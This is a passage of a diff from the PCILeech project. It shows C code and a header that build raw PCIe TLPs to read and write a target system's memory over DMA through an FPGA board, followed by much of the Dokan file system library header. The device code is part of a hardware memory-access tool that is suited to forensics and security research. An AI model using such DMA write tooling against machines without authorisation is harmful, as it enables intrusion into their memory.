|
||||
for(i = 0; i < 3; i++) {
|
||||
ENDIAN_SWAP_DWORD(txbuf[i]);
|
||||
}
|
||||
memcpy(pbTlp + 12, pb, cb);
|
||||
cbTlp = (12 + cb + 3) & ~0x3;
|
||||
} else {
|
||||
hdrWr64->h.TypeFmt = TLP_MWr64;
|
||||
hdrWr64->h.Length = (WORD)(cb + 3) >> 2;
|
||||
hdrWr64->FirstBE = bFirstBE;
|
||||
hdrWr64->LastBE = bLastBE;
|
||||
hdrWr64->RequesterID = ctx605->wDeviceId;
|
||||
hdrWr64->AddressHigh = (DWORD)(qwA >> 32);
|
||||
hdrWr64->AddressLow = (DWORD)qwA;
|
||||
for(i = 0; i < 4; i++) {
|
||||
ENDIAN_SWAP_DWORD(txbuf[i]);
|
||||
}
|
||||
memcpy(pbTlp + 16, pb, cb);
|
||||
cbTlp = (16 + cb + 3) & ~0x3;
|
||||
}
|
||||
return Device605_TxTlp(ctx605, pbTlp, cbTlp);
|
||||
}
|
||||
|
||||
BOOL Device605_WriteDMA(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwA, _In_ PBYTE pb, _In_ DWORD cb)
|
||||
{
|
||||
BOOL result = TRUE;
|
||||
BYTE be, pbb[4];
|
||||
DWORD cbtx;
|
||||
if(cb > 0x00004000) { return FALSE; }
|
||||
// TX 1st dword if not aligned
|
||||
if(cb && (qwA & 0x3)) {
|
||||
be = (cb < 3) ? (0xf >> (4 - cb)) : 0xf;
|
||||
be <<= qwA & 0x3;
|
||||
cbtx = min(cb, 4 - (qwA & 0x3));
|
||||
memcpy(pbb + (qwA & 0x3), pb, cbtx);
|
||||
result = Device605_WriteDMA_TXP(ctx, qwA & ~0x3, be, 0, pbb, 4);
|
||||
pb += cbtx;
|
||||
cb -= cbtx;
|
||||
qwA += cbtx;
|
||||
}
|
||||
// TX as 128-byte packets (aligned to 128-byte boundaries)
|
||||
while(result && cb) {
|
||||
cbtx = min(128 - (qwA & 0x7f), cb);
|
||||
be = (cbtx & 0x3) ? (0xf >> (4 - (cbtx & 0x3))) : 0xf;
|
||||
result = (cbtx <= 4) ?
|
||||
Device605_WriteDMA_TXP(ctx, qwA, be, 0, pb, 4) :
|
||||
Device605_WriteDMA_TXP(ctx, qwA, 0xf, be, pb, cbtx);
|
||||
pb += cbtx;
|
||||
cb -= cbtx;
|
||||
qwA += cbtx;
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
VOID Action_Device605_TlpTx(_Inout_ PPCILEECH_CONTEXT ctx)
|
||||
{
|
||||
if(ctx->cfg->tpDevice != PCILEECH_DEVICE_SP605) {
|
||||
printf("TLP: Failed. unsupported device.\n");
|
||||
return;
|
||||
}
|
||||
if(Device605_TxTlp((PDEVICE_CONTEXT_SP605)ctx->hDevice, ctx->cfg->pbIn, (DWORD)ctx->cfg->cbIn)) {
|
||||
printf("TLP: Success.\n");
|
||||
// If no custom exit timeout is set wait 500ms to receive any TLP responses.
|
||||
if(ctx->cfg->qwWaitBeforeExit == 0) {
|
||||
Sleep(500);
|
||||
}
|
||||
} else {
|
||||
printf("TLP: Failed. TX error.\n");
|
||||
}
|
||||
}
|
||||
49
pcileech/device605.h
Normal file
49
pcileech/device605.h
Normal file
@@ -0,0 +1,49 @@
|
||||
// device605.h : definitions related to the Xilinx SP605 dev board flashed with @d_olex early access bitstream. (UART communication).
|
||||
//
|
||||
// (c) Ulf Frisk, 2017
|
||||
// Author: Ulf Frisk, pcileech@frizk.net
|
||||
//
|
||||
#ifndef __DEVICE605_H__
|
||||
#define __DEVICE605_H__
|
||||
#include "pcileech.h"
|
||||
|
||||
/*
|
||||
* Open a connection to the SP605 PCILeech flashed device.
|
||||
* -- ctx
|
||||
* -- result
|
||||
*/
|
||||
BOOL Device605_Open(_Inout_ PPCILEECH_CONTEXT ctx);
|
||||
|
||||
/*
|
||||
* Clean up various device related stuff and deallocate memory buffers.
|
||||
* -- ctx
|
||||
*/
|
||||
VOID Device605_Close(_Inout_ PPCILEECH_CONTEXT ctx);
|
||||
|
||||
/*
|
||||
* Read data from the target system using DMA.
|
||||
* -- ctx
|
||||
* -- qwAddr
|
||||
* -- pb
|
||||
* -- cb
|
||||
* -- return
|
||||
*/
|
||||
BOOL Device605_ReadDMA(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb);
|
||||
|
||||
/*
|
||||
* Write data to the target system using DMA.
|
||||
* -- ctx
|
||||
* -- qwAddr
|
||||
* -- pb
|
||||
* -- cb
|
||||
* -- return
|
||||
*/
|
||||
BOOL Device605_WriteDMA(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb);
|
||||
|
||||
/*
|
||||
* Transmit a raw PCIe TLP.
|
||||
* -- ctx
|
||||
*/
|
||||
VOID Action_Device605_TlpTx(_Inout_ PPCILEECH_CONTEXT ctx);
|
||||
|
||||
#endif /* __DEVICE605_H__ */
|
||||
877
pcileech/dokan.h
Normal file
877
pcileech/dokan.h
Normal file
@@ -0,0 +1,877 @@
|
||||
/*
|
||||
Dokan : user-mode file system library for Windows
|
||||
|
||||
Copyright (C) 2015 - 2017 Adrien J. <liryna.stark@gmail.com> and Maxime C. <maxime@islog.com>
|
||||
Copyright (C) 2007 - 2011 Hiroki Asakawa <info@dokan-dev.net>
|
||||
|
||||
http://dokan-dev.github.io
|
||||
|
||||
This program is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU Lesser General Public License as published by the Free
|
||||
Software Foundation; either version 3 of the License, or (at your option) any
|
||||
later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Lesser General Public License along
|
||||
with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
#ifndef DOKAN_H_
|
||||
#define DOKAN_H_
|
||||
|
||||
/** Do not include NTSTATUS. Fix duplicate preprocessor definitions */
|
||||
#define WIN32_NO_STATUS
|
||||
#include <windows.h>
|
||||
#undef WIN32_NO_STATUS
|
||||
#include <ntstatus.h>
|
||||
|
||||
#include "fileinfo.h"
|
||||
#include "public.h"
|
||||
|
||||
#ifdef _EXPORTING
|
||||
/** Export dokan API see also dokan.def for export */
|
||||
#define DOKANAPI __stdcall
|
||||
#else
|
||||
/** Import dokan API */
|
||||
#define DOKANAPI __declspec(dllimport) __stdcall
|
||||
#endif
|
||||
|
||||
/** Change calling convention to standard call */
|
||||
#define DOKAN_CALLBACK __stdcall
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/** @file */
|
||||
|
||||
/**
|
||||
* \defgroup Dokan Dokan
|
||||
* \brief Dokan Library const and methodes
|
||||
*/
|
||||
/** @{ */
|
||||
|
||||
/** The current Dokan version (ver 1.0.0). \ref DOKAN_OPTIONS.Version */
|
||||
#define DOKAN_VERSION 100
|
||||
/** Minimum Dokan version (ver 1.0.0) accepted. */
|
||||
#define DOKAN_MINIMUM_COMPATIBLE_VERSION 100
|
||||
/** Maximum number of dokan instances.*/
|
||||
#define DOKAN_MAX_INSTANCES 32
|
||||
/** Driver file name including the DOKAN_MAJOR_API_VERSION */
|
||||
#define DOKAN_DRIVER_NAME L"dokan" DOKAN_MAJOR_API_VERSION L".sys"
|
||||
/** Network provider name including the DOKAN_MAJOR_API_VERSION */
|
||||
#define DOKAN_NP_NAME L"Dokan" DOKAN_MAJOR_API_VERSION
|
||||
|
||||
/** @} */
|
||||
|
||||
/**
|
||||
* \defgroup DOKAN_OPTION DOKAN_OPTION
|
||||
* \brief All DOKAN_OPTION flags used in DOKAN_OPTIONS.Options
|
||||
* \see DOKAN_FILE_INFO
|
||||
*/
|
||||
/** @{ */
|
||||
|
||||
/** Enable ouput debug message */
|
||||
#define DOKAN_OPTION_DEBUG 1
|
||||
/** Enable ouput debug message to stderr */
|
||||
#define DOKAN_OPTION_STDERR 2
|
||||
/** Use alternate stream */
|
||||
#define DOKAN_OPTION_ALT_STREAM 4
|
||||
/** Enable mount drive as write-protected */
|
||||
#define DOKAN_OPTION_WRITE_PROTECT 8
|
||||
/** Use network drive - Dokan network provider need to be installed */
|
||||
#define DOKAN_OPTION_NETWORK 16
|
||||
/** Use removable drive */
|
||||
#define DOKAN_OPTION_REMOVABLE 32
|
||||
/** Use mount manager */
|
||||
#define DOKAN_OPTION_MOUNT_MANAGER 64
|
||||
/** Mount the drive on current session only */
|
||||
#define DOKAN_OPTION_CURRENT_SESSION 128
|
||||
/** Enable Lockfile/Unlockfile operations. Otherwise Dokan will take care of it */
|
||||
#define DOKAN_OPTION_FILELOCK_USER_MODE 256
|
||||
|
||||
/** @} */
|
||||
|
||||
/**
|
||||
* \struct DOKAN_OPTIONS
|
||||
* \brief Dokan mount options used to describe dokan device behavior.
|
||||
* \see DokanMain
|
||||
*/
|
||||
typedef struct _DOKAN_OPTIONS {
|
||||
/** Version of the dokan features requested (version "123" is equal to Dokan version 1.2.3). */
|
||||
USHORT Version;
|
||||
/** Number of threads to be used internally by Dokan library. More thread will handle more event at the same time. */
|
||||
USHORT ThreadCount;
|
||||
/** Features enable for the mount. See \ref DOKAN_OPTION. */
|
||||
ULONG Options;
|
||||
/** FileSystem can store anything here. */
|
||||
ULONG64 GlobalContext;
|
||||
/** Mount point. Can be "M:\" (drive letter) or "C:\mount\dokan" (path in NTFS). */
|
||||
LPCWSTR MountPoint;
|
||||
/**
|
||||
* UNC Name for the Network Redirector
|
||||
* \see <a href="https://msdn.microsoft.com/en-us/library/windows/hardware/ff556761(v=vs.85).aspx">Support for UNC Naming</a>
|
||||
*/
|
||||
LPCWSTR UNCName;
|
||||
/** Max timeout in milliseconds of each request before Dokan give up. */
|
||||
ULONG Timeout;
|
||||
/** Allocation Unit Size of the volume. This will behave on the file size. */
|
||||
ULONG AllocationUnitSize;
|
||||
/** Sector Size of the volume. This will behave on the file size. */
|
||||
ULONG SectorSize;
|
||||
} DOKAN_OPTIONS, *PDOKAN_OPTIONS;
|
||||
|
||||
/**
|
||||
* \struct DOKAN_FILE_INFO
|
||||
* \brief Dokan file information on the current operation.
|
||||
*/
|
||||
typedef struct _DOKAN_FILE_INFO {
|
||||
/**
|
||||
* Context that can be used to carry information between operation.
|
||||
* The Context can carry whatever type like \c HANDLE, struct, int,
|
||||
* internal reference that will help the implementation understand the request context of the event.
|
||||
*/
|
||||
ULONG64 Context;
|
||||
/** Reserved. Used internally by Dokan library. Never modify. */
|
||||
ULONG64 DokanContext;
|
||||
/** A pointer to DOKAN_OPTIONS which was passed to DokanMain. */
|
||||
PDOKAN_OPTIONS DokanOptions;
|
||||
/**
|
||||
* Process id for the thread that originally requested a given I/O operation.
|
||||
*/
|
||||
ULONG ProcessId;
|
||||
/**
|
||||
* Requesting a directory file.
|
||||
* Must be set in \ref DOKAN_OPERATIONS.ZwCreateFile if the file appear to be a folder.
|
||||
*/
|
||||
UCHAR IsDirectory;
|
||||
/** Flag if the file has to be delete during DOKAN_OPERATIONS.Cleanup event. */
|
||||
UCHAR DeleteOnClose;
|
||||
/** Read or write is paging IO. */
|
||||
UCHAR PagingIo;
|
||||
/** Read or write is synchronous IO. */
|
||||
UCHAR SynchronousIo;
|
||||
/** Read or write directly from data source without cache */
|
||||
UCHAR Nocache;
|
||||
/** If \c TRUE, write to the current end of file instead of using the Offset parameter. */
|
||||
UCHAR WriteToEndOfFile;
|
||||
} DOKAN_FILE_INFO, *PDOKAN_FILE_INFO;
|
||||
|
||||
/**
|
||||
* \brief FillFindData Used to add an entry in FindFiles operation
|
||||
* \return 1 if buffer is full, otherwise 0 (currently it never returns 1)
|
||||
*/
|
||||
typedef int(WINAPI *PFillFindData)(PWIN32_FIND_DATAW, PDOKAN_FILE_INFO);
|
||||
|
||||
/**
|
||||
* \brief FillFindStreamData Used to add an entry in FindStreams
|
||||
* \return 1 if buffer is full, otherwise 0 (currently it never returns 1)
|
||||
*/
|
||||
typedef int(WINAPI *PFillFindStreamData)(PWIN32_FIND_STREAM_DATA,
|
||||
PDOKAN_FILE_INFO);
|
||||
|
||||
// clang-format off
|
||||
|
||||
/**
|
||||
* \struct DOKAN_OPERATIONS
|
||||
* \brief Dokan API callbacks interface
|
||||
*
|
||||
* DOKAN_OPERATIONS is a struct of callbacks that describe all Dokan API operation
|
||||
* that will be called when Windows access to the filesystem.
|
||||
*
|
||||
* If an error occurs, return NTSTATUS (https://support.microsoft.com/en-us/kb/113996).
|
||||
* Win32 Error can be converted to \c NTSTATUS with \ref DokanNtStatusFromWin32
|
||||
*
|
||||
* All this callbacks can be set to \c NULL or return \c STATUS_NOT_IMPLEMENTED
|
||||
* if you dont want to support one of them. Be aware that returning such value to important callbacks
|
||||
* such as DOKAN_OPERATIONS.ZwCreateFile / DOKAN_OPERATIONS.ReadFile / ... would make the filesystem not working or unstable.
|
||||
*/
|
||||
typedef struct _DOKAN_OPERATIONS {
|
||||
/**
|
||||
* \brief CreateFile Dokan API callback
|
||||
*
|
||||
* CreateFile is called each time a request is made on a file system object.
|
||||
*
|
||||
* In case \c OPEN_ALWAYS & \c CREATE_ALWAYS are opening successfully a already
|
||||
* existing file, you have to return \c STATUS_OBJECT_NAME_COLLISION instead of \c STATUS_SUCCESS .
|
||||
* This will inform Dokan that the file has been opened and not created during the request.
|
||||
*
|
||||
* If the file is a directory, CreateFile is also called.
|
||||
* In this case, CreateFile should return \c STATUS_SUCCESS when that directory
|
||||
* can be opened and DOKAN_FILE_INFO.IsDirectory has to be set to \c TRUE.
|
||||
*
|
||||
* DOKAN_FILE_INFO.Context can be use to store Data (like \c HANDLE)
|
||||
* that can be retrieved in all other request related to the Context
|
||||
*
|
||||
* \param FileName File path requested by the Kernel on the FileSystem.
|
||||
* \param SecurityContext SecurityContext, see https://msdn.microsoft.com/en-us/library/windows/hardware/ff550613(v=vs.85).aspx
|
||||
* \param DesiredAccess Specifies an <a href="https://msdn.microsoft.com/en-us/library/windows/hardware/ff540466(v=vs.85).aspx">ACCESS_MASK</a> value that determines the requested access to the object.
|
||||
* \param FileAttributes Specifies one or more FILE_ATTRIBUTE_XXX flags, which represent the file attributes to set if you create or overwrite a file.
|
||||
* \param ShareAccess Type of share access, which is specified as zero or any combination of FILE_SHARE_* flags.
|
||||
* \param CreateDisposition Specifies the action to perform if the file does or does not exist.
|
||||
* \param CreateOptions Specifies the options to apply when the driver creates or opens the file.
|
||||
* \param DokanFileInfo Information about the file or directory.
|
||||
* \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result.
|
||||
* \see <a href="https://msdn.microsoft.com/en-us/library/windows/hardware/ff566424(v=vs.85).aspx">See ZwCreateFile for more information about the parameters of this callback (MSDN).</a>
|
||||
* \see DokanMapKernelToUserCreateFileFlags
|
||||
* \see DokanMapStandardToGenericAccess
|
||||
*/
|
||||
NTSTATUS(DOKAN_CALLBACK *ZwCreateFile)(LPCWSTR FileName,
|
||||
PDOKAN_IO_SECURITY_CONTEXT SecurityContext,
|
||||
ACCESS_MASK DesiredAccess,
|
||||
ULONG FileAttributes,
|
||||
ULONG ShareAccess,
|
||||
ULONG CreateDisposition,
|
||||
ULONG CreateOptions,
|
||||
PDOKAN_FILE_INFO DokanFileInfo);
|
||||
|
||||
/**
|
||||
* \brief Cleanup Dokan API callback
|
||||
*
|
||||
* Cleanup request before \ref CloseFile is called.
|
||||
*
|
||||
* When DOKAN_FILE_INFO.DeleteOnClose is \c TRUE, you must delete the file in Cleanup.
|
||||
* See DeleteFile documentation for explanation.
|
||||
*
|
||||
* \param FileName File path requested by the Kernel on the FileSystem.
|
||||
* \param DokanFileInfo Information about the file or directory.
|
||||
* \see DeleteFile
|
||||
* \see DeleteDirectory
|
||||
*/
|
||||
void(DOKAN_CALLBACK *Cleanup)(LPCWSTR FileName,
|
||||
PDOKAN_FILE_INFO DokanFileInfo);
|
||||
|
||||
/**
|
||||
* \brief CloseFile Dokan API callback
|
||||
*
|
||||
* Clean remaining Context
|
||||
*
|
||||
* CloseFile is called at the end of the life of the context.
|
||||
* Remainings in \ref DOKAN_FILE_INFO.Context has to be cleared before return.
|
||||
*
|
||||
* \param FileName File path requested by the Kernel on the FileSystem.
|
||||
* \param DokanFileInfo Information about the file or directory.
|
||||
*/
|
||||
void(DOKAN_CALLBACK *CloseFile)(LPCWSTR FileName,
|
||||
PDOKAN_FILE_INFO DokanFileInfo);
|
||||
|
||||
/**
|
||||
* \brief ReadFile Dokan API callback
|
||||
*
|
||||
* ReadFile callback on the file previously opened in DOKAN_OPERATIONS.ZwCreateFile.
|
||||
* It can be called by different thread at the same time.
|
||||
* Therefor the read/context has to be thread safe.
|
||||
*
|
||||
* \param FileName File path requested by the Kernel on the FileSystem.
|
||||
* \param Buffer Read buffer that has to be fill with the read result.
|
||||
* \param BufferLength Buffer length and also the read size to proceed.
|
||||
* \param ReadLength Total data size that has been read.
|
||||
* \param Offset Offset from where the read has to be proceed.
|
||||
* \param DokanFileInfo Information about the file or directory.
|
||||
* \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result.
|
||||
* \see WriteFile
|
||||
*/
|
||||
NTSTATUS(DOKAN_CALLBACK *ReadFile)(LPCWSTR FileName,
|
||||
LPVOID Buffer,
|
||||
DWORD BufferLength,
|
||||
LPDWORD ReadLength,
|
||||
LONGLONG Offset,
|
||||
PDOKAN_FILE_INFO DokanFileInfo);
|
||||
|
||||
/**
|
||||
* \brief WriteFile Dokan API callback
|
||||
*
|
||||
* WriteFile callback on the file previously opened in DOKAN_OPERATIONS.ZwCreateFile
|
||||
* It can be called by different thread at the same time.
|
||||
* Therefor the write/context has to be thread safe.
|
||||
*
|
||||
* \param FileName File path requested by the Kernel on the FileSystem.
|
||||
* \param Buffer Data that has to be written.
|
||||
* \param NumberOfBytesToWrite Buffer length and also the write size to proceed.
|
||||
* \param NumberOfBytesWritten Total byte that has been write.
|
||||
* \param Offset Offset from where the write has to be proceed.
|
||||
* \param DokanFileInfo Information about the file or directory.
|
||||
* \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result.
|
||||
* \see ReadFile
|
||||
*/
|
||||
NTSTATUS(DOKAN_CALLBACK *WriteFile)(LPCWSTR FileName,
|
||||
LPCVOID Buffer,
|
||||
DWORD NumberOfBytesToWrite,
|
||||
LPDWORD NumberOfBytesWritten,
|
||||
LONGLONG Offset,
|
||||
PDOKAN_FILE_INFO DokanFileInfo);
|
||||
|
||||
/**
|
||||
* \brief FlushFileBuffers Dokan API callback
|
||||
*
|
||||
* Clears buffers for this context and causes any buffered data to be written to the file.
|
||||
*
|
||||
* \param FileName File path requested by the Kernel on the FileSystem.
|
||||
* \param DokanFileInfo Information about the file or directory.
|
||||
* \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result.
|
||||
*/
|
||||
NTSTATUS(DOKAN_CALLBACK *FlushFileBuffers)(LPCWSTR FileName,
|
||||
PDOKAN_FILE_INFO DokanFileInfo);
|
||||
|
||||
/**
|
||||
* \brief GetFileInformation Dokan API callback
|
||||
*
|
||||
* Get specific informations on a file.
|
||||
*
|
||||
* \param FileName File path requested by the Kernel on the FileSystem.
|
||||
* \param Buffer BY_HANDLE_FILE_INFORMATION struct to fill.
|
||||
* \param DokanFileInfo Information about the file or directory.
|
||||
* \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result.
|
||||
*/
|
||||
NTSTATUS(DOKAN_CALLBACK *GetFileInformation)(LPCWSTR FileName,
|
||||
LPBY_HANDLE_FILE_INFORMATION Buffer,
|
||||
PDOKAN_FILE_INFO DokanFileInfo);
|
||||
|
||||
/**
|
||||
* \brief FindFiles Dokan API callback
|
||||
*
|
||||
* List all files in the path requested
|
||||
* \ref DOKAN_OPERATIONS.FindFilesWithPattern is checking first. If it is not implemented or
|
||||
* returns \c STATUS_NOT_IMPLEMENTED, then FindFiles is called, if implemented.
|
||||
*
|
||||
* \param FileName File path requested by the Kernel on the FileSystem.
|
||||
* \param FillFindData Callback that has to be called with PWIN32_FIND_DATAW that contain file information.
|
||||
* \param DokanFileInfo Information about the file or directory.
|
||||
* \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result.
|
||||
* \see FindFilesWithPattern
|
||||
*/
|
||||
NTSTATUS(DOKAN_CALLBACK *FindFiles)(LPCWSTR FileName,
|
||||
PFillFindData FillFindData,
|
||||
PDOKAN_FILE_INFO DokanFileInfo);
|
||||
|
||||
/**
|
||||
* \brief FindFilesWithPattern Dokan API callback
|
||||
*
|
||||
* Same as \ref DOKAN_OPERATIONS.FindFiles but with a search pattern.
|
||||
*
|
||||
* \param PathName Path requested by the Kernel on the FileSystem.
|
||||
* \param SearchPattern Search pattern.
|
||||
* \param FillFindData Callback that has to be called with PWIN32_FIND_DATAW that contain file information.
|
||||
* \param DokanFileInfo Information about the file or directory.
|
||||
* \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result.
|
||||
* \see FindFiles
|
||||
*/
|
||||
NTSTATUS(DOKAN_CALLBACK *FindFilesWithPattern)(LPCWSTR PathName,
|
||||
LPCWSTR SearchPattern,
|
||||
PFillFindData FillFindData,
|
||||
PDOKAN_FILE_INFO DokanFileInfo);
|
||||
|
||||
/**
|
||||
* \brief SetFileAttributes Dokan API callback
|
||||
*
|
||||
* Set file attributes on a specific file
|
||||
*
|
||||
* \param FileName File path requested by the Kernel on the FileSystem.
|
||||
* \param FileAttributes FileAttributes to set on file.
|
||||
* \param DokanFileInfo Information about the file or directory.
|
||||
* \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result.
|
||||
*/
|
||||
NTSTATUS(DOKAN_CALLBACK *SetFileAttributes)(LPCWSTR FileName,
|
||||
DWORD FileAttributes,
|
||||
PDOKAN_FILE_INFO DokanFileInfo);
|
||||
|
||||
/**
|
||||
* \brief SetFileTime Dokan API callback
|
||||
*
|
||||
* Set file attributes on a specific file
|
||||
*
|
||||
* \param FileName File path requested by the Kernel on the FileSystem.
|
||||
* \param CreationTime Creation FILETIME.
|
||||
* \param LastAccessTime LastAccess FILETIME.
|
||||
* \param LastWriteTime LastWrite FILETIME.
|
||||
* \param DokanFileInfo Information about the file or directory.
|
||||
* \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result.
|
||||
*/
|
||||
NTSTATUS(DOKAN_CALLBACK *SetFileTime)(LPCWSTR FileName,
|
||||
CONST FILETIME *CreationTime,
|
||||
CONST FILETIME *LastAccessTime,
|
||||
CONST FILETIME *LastWriteTime,
|
||||
PDOKAN_FILE_INFO DokanFileInfo);
|
||||
|
||||
/**
|
||||
* \brief DeleteFile Dokan API callback
|
||||
*
|
||||
* Check if it is possible to delete a file.
|
||||
*
|
||||
* DeleteFile will also be called with DOKAN_FILE_INFO.DeleteOnClose set to \c FALSE
|
||||
* to notify the driver when the file is no longer requested to be deleted.
|
||||
*
|
||||
* You should not delete the file in DeleteFile, but instead
|
||||
* you must only check whether you can delete the file or not,
|
||||
* and return \c STATUS_SUCCESS (when you can delete it) or appropriate error
|
||||
* codes such as \c STATUS_ACCESS_DENIED or \c STATUS_OBJECT_NAME_NOT_FOUND.
|
||||
*
|
||||
* When you return \c STATUS_SUCCESS, you get a Cleanup call afterwards with
|
||||
* DOKAN_FILE_INFO.DeleteOnClose set to \c TRUE and only then you have to actually
|
||||
* delete the file being closed
|
||||
*
|
||||
* \param FileName File path requested by the Kernel on the FileSystem.
|
||||
* \param DokanFileInfo Information about the file or directory.
|
||||
* \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result.
|
||||
* \see DeleteDirectory
|
||||
* \see Cleanup
|
||||
*/
|
||||
NTSTATUS(DOKAN_CALLBACK *DeleteFile)(LPCWSTR FileName,
|
||||
PDOKAN_FILE_INFO DokanFileInfo);
|
||||
|
||||
/**
|
||||
* \brief DeleteDirectory Dokan API callback
|
||||
*
|
||||
* Check if it is possible to delete a directory.
|
||||
*
|
||||
* DeleteDirectory will also be called with DOKAN_FILE_INFO.DeleteOnClose set to \c FALSE
|
||||
* to notify the driver when the file is no longer requested to be deleted.
|
||||
*
|
||||
* You should not delete the Directory in DeleteDirectory, but instead
|
||||
* you must only check whether you can delete the file or not,
|
||||
* and return \c STATUS_SUCCESS (when you can delete it) or appropriate error
|
||||
* codes such as \c STATUS_ACCESS_DENIED, \c STATUS_OBJECT_PATH_NOT_FOUND,
|
||||
* or \c STATUS_DIRECTORY_NOT_EMPTY.
|
||||
*
|
||||
* When you return \c STATUS_SUCCESS, you get a Cleanup call afterwards with
|
||||
* DOKAN_FILE_INFO.DeleteOnClose set to \c TRUE and only then you have to actually
|
||||
* delete the file being closed
|
||||
*
|
||||
* \param FileName File path requested by the Kernel on the FileSystem.
|
||||
* \param DokanFileInfo Information about the file or directory.
|
||||
* \return \c STATUS_SUCCESS on success or \c NTSTATUS appropriate to the request result.
|
||||
* \ref DeleteFile
|
||||
* \ref Cleanup
|
||||
*/
|
||||
NTSTATUS(DOKAN_CALLBACK *DeleteDirectory)(LPCWSTR FileName,
|
||||
PDOKAN_FILE_INFO DokanFileInfo);
|
||||
|
||||
/**
|
||||
* \brief MoveFile Dokan API callback
|
||||
*
|
||||
* Move a file or directory to his new destination
|
||||
*
|
||||
* \param FileName Path to the file to move.
|
||||
* \param NewFileName Path for the new location of the file
|
||||
* \param ReplaceIfExisting Can replace or not if destination already exist.
|
||||
* \param DokanFileInfo Information about the file or directory.
|
||||
* \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result.
|
||||
*/
|
||||
NTSTATUS(DOKAN_CALLBACK *MoveFile)(LPCWSTR FileName,
|
||||
LPCWSTR NewFileName,
|
||||
BOOL ReplaceIfExisting,
|
||||
PDOKAN_FILE_INFO DokanFileInfo);
|
||||
|
||||
/**
|
||||
* \brief SetEndOfFile Dokan API callback
|
||||
*
|
||||
* SetEndOfFile is used to truncate or extend a file (physical file size).
|
||||
*
|
||||
* \param FileName File path requested by the Kernel on the FileSystem.
|
||||
* \param ByteOffset File length to set.
|
||||
* \param DokanFileInfo Information about the file or directory.
|
||||
* \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result.
|
||||
*/
|
||||
NTSTATUS(DOKAN_CALLBACK *SetEndOfFile)(LPCWSTR FileName,
|
||||
LONGLONG ByteOffset,
|
||||
PDOKAN_FILE_INFO DokanFileInfo);
|
||||
|
||||
/**
|
||||
* \brief SetAllocationSize Dokan API callback
|
||||
*
|
||||
* SetAllocationSize is used to truncate or extend a file.
|
||||
*
|
||||
* \param FileName File path requested by the Kernel on the FileSystem.
|
||||
* \param AllocSize File length to set.
|
||||
* \param DokanFileInfo Information about the file or directory.
|
||||
* \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result.
|
||||
*/
|
||||
NTSTATUS(DOKAN_CALLBACK *SetAllocationSize)(LPCWSTR FileName,
|
||||
LONGLONG AllocSize,
|
||||
PDOKAN_FILE_INFO DokanFileInfo);
|
||||
|
||||
/**
|
||||
* \brief LockFile Dokan API callback
|
||||
*
|
||||
* Lock file at a specific offset and data length.
|
||||
* This is only used if \ref DOKAN_OPTION_FILELOCK_USER_MODE is enabled.
|
||||
*
|
||||
* \param FileName File path requested by the Kernel on the FileSystem.
|
||||
* \param ByteOffset Offset from where the lock has to be proceed.
|
||||
* \param Length Data length to lock.
|
||||
* \param DokanFileInfo Information about the file or directory.
|
||||
* \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result.
|
||||
* \see UnlockFile
|
||||
*/
|
||||
NTSTATUS(DOKAN_CALLBACK *LockFile)(LPCWSTR FileName,
|
||||
LONGLONG ByteOffset,
|
||||
LONGLONG Length,
|
||||
PDOKAN_FILE_INFO DokanFileInfo);
|
||||
|
||||
/**
|
||||
* \brief UnlockFile Dokan API callback
|
||||
*
|
||||
* Unlock file at a specific offset and data length.
|
||||
* This is only used if \ref DOKAN_OPTION_FILELOCK_USER_MODE is enabled.
|
||||
*
|
||||
* \param FileName File path requested by the Kernel on the FileSystem.
|
||||
* \param ByteOffset Offset from where the lock has to be proceed.
|
||||
* \param Length Data length to lock.
|
||||
* \param DokanFileInfo Information about the file or directory.
|
||||
* \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result.
|
||||
* \see LockFile
|
||||
*/
|
||||
NTSTATUS(DOKAN_CALLBACK *UnlockFile)(LPCWSTR FileName,
|
||||
LONGLONG ByteOffset,
|
||||
LONGLONG Length,
|
||||
PDOKAN_FILE_INFO DokanFileInfo);
|
||||
|
||||
/**
|
||||
* \brief GetDiskFreeSpace Dokan API callback
|
||||
*
|
||||
* Retrieves information about the amount of space that is available on a disk volume, which is the total amount of space,
|
||||
* the total amount of free space, and the total amount of free space available to the user that is associated with the calling thread.
|
||||
*
|
||||
* Neither GetDiskFreeSpace nor \ref GetVolumeInformation
|
||||
* save the DOKAN_FILE_INFO.Context.
|
||||
* Before these methods are called, \ref ZwCreateFile may not be called.
|
||||
* (ditto \ref CloseFile and \ref Cleanup)
|
||||
*
|
||||
* \param FreeBytesAvailable Amount of available space.
|
||||
* \param TotalNumberOfBytes Total size of storage space
|
||||
* \param TotalNumberOfFreeBytes Amount of free space
|
||||
* \param DokanFileInfo Information about the file or directory.
|
||||
* \return \c STATUS_SUCCESS on success or \c NTSTATUS appropriate to the request result.
|
||||
* \see <a href="https://msdn.microsoft.com/en-us/library/windows/desktop/aa364937(v=vs.85).aspx"> GetDiskFreeSpaceEx function (MSDN)</a>
|
||||
* \see GetVolumeInformation
|
||||
*/
|
||||
